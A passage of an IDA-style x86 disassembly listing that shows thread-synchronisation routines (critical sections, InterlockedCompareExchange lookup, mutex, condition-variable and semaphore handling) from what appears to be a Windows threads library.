CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27E0865h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3E0, eax call near ptr 27F0000h nop test eax, eax mov dword_50E3FC, eax jnz short loc_4312CD mov eax, dword_50E3E0 mov dword_50E3FC, offset sub_4012D0 push eax nop call near ptr 27503B6h mov dword_50E3E0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3E4 test eax, eax jz short loc_431350 mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3E80Dh, 4C48300h, 6A118Bh, 0C5E89052h, 0E80231ECh dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 0E8905007h, 231F066h ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3E4 test eax, eax jz short loc_4313DB mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3E80Dh, 4C48300h, 6A118Bh, 25E89052h db 0ECh, 31h, 2 ; --------------------------------------------------------------------------- loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9C0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3F0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9C0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3E4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3E8 mov dword_50E3E4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3EC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E900 call esi push offset dword_50E960 call esi push offset dword_50E9C0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E980 call esi mov eax, dword_50E3E4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3E4 test eax, eax jz locret_431619 mov eax, dword_50E3E8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3E8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3EC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3EC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E900 nop call near ptr 7C901005h mov eax, dword_44574C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E900 nop call near ptr 7C9010EDh mov esi, dword_50F858 push offset dword_50E980 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E9C0 call esi push offset dword_50E960 call esi push offset dword_50E900 call esi mov dword_50E3E4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_50E3E8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3E8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi call near ptr 77C3A307h nop add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi nop call near ptr 2780ABAh push eax call near ptr 2740981h nop test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E9A0 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E9A0 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E9A0 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E9A0 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E9A0 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; 